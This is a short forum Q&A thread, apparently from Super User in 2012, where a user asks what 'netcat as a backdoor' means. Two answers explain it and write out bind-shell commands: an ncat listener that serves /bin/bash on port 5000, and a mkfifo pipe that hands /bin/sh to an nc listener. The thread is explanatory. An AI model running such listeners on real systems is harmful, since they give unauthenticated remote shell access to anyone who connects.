Meaning of "netcat can be used as a backdoor"

-2

I recently read about netcat and it is often mentioned that it could be used as a "backdoor". What exactly is meant by backdoor? Could some one give an example of such usage of netcat.

mkc

Posted 2012-10-14T19:13:48.597

Reputation: 159

Question was closed 2012-10-14T20:37:16.557

2Have you tried a simple Google search for "netcat backdoor"? – Karan – 2012-10-14T19:19:38.680

I got wikipedia article on netcat. It linked to an article on backdoor. I could not find how netcat could be used as a backdoor. – mkc – 2012-10-14T19:23:37.103

In fairness to karan, it is on the first result on google. – Sirex – 2012-10-14T19:29:06.587

@Sirex: Precisely. In fact, top 3 results right now are: Persistent Netcat Backdoor, The Guides to (mostly) Harmless Hacking and 10 Steps to Use NetCat as a Backdoor in Windows 7 System. Lack of research is evident when someone states that examples/guides could not be found. – Karan – 2012-10-14T19:47:39.980

Here are the order of events that happened: A couple of days ago I stumbled upon this article which roused my curiosity to learn more about it. So, I tried reading more about the netcat tool by trying to find netcat documentation on gnu netcat homepage, but could not find documentation. I read its man page too. Finding about this particular use of netcat was a curiosity and not a research question for me. I did not think there would be pages devoted to it. Sincere apologies.

– mkc – 2012-10-14T20:46:13.910

Answers

1

With netcat it's possible for a simple user to spawn a remote shell. For example, the following command will allow a remote user to access a bash shell on port 5000

ncat -l -p 5000 -e /bin/bash

All an attacker has to do once this is running is:

ncat ip-address 5000

You can even try this example on your own computer.

However, this will only work over the internet if no firewall blocking access to port 5000 is present.

dset0x

Posted 2012-10-14T19:13:48.597

Reputation: 1 897

1

Anything that can listen for incoming network connections (like Perl, python, zsh, socat, inetd) could be considered a backdoor.

The main reason I think why nc in particular might be considered more of a backdoor than the other ones (even though it has far fewer capabilities in that regard) is that its man page does show an example of such a backdoor:

       $ rm -f /tmp/f; mkfifo /tmp/f
       $ cat /tmp/f | /bin/sh -i 2>&1 | nc -l 1234 > /tmp/f

sch

Posted 2012-10-14T19:13:48.597

Reputation: 287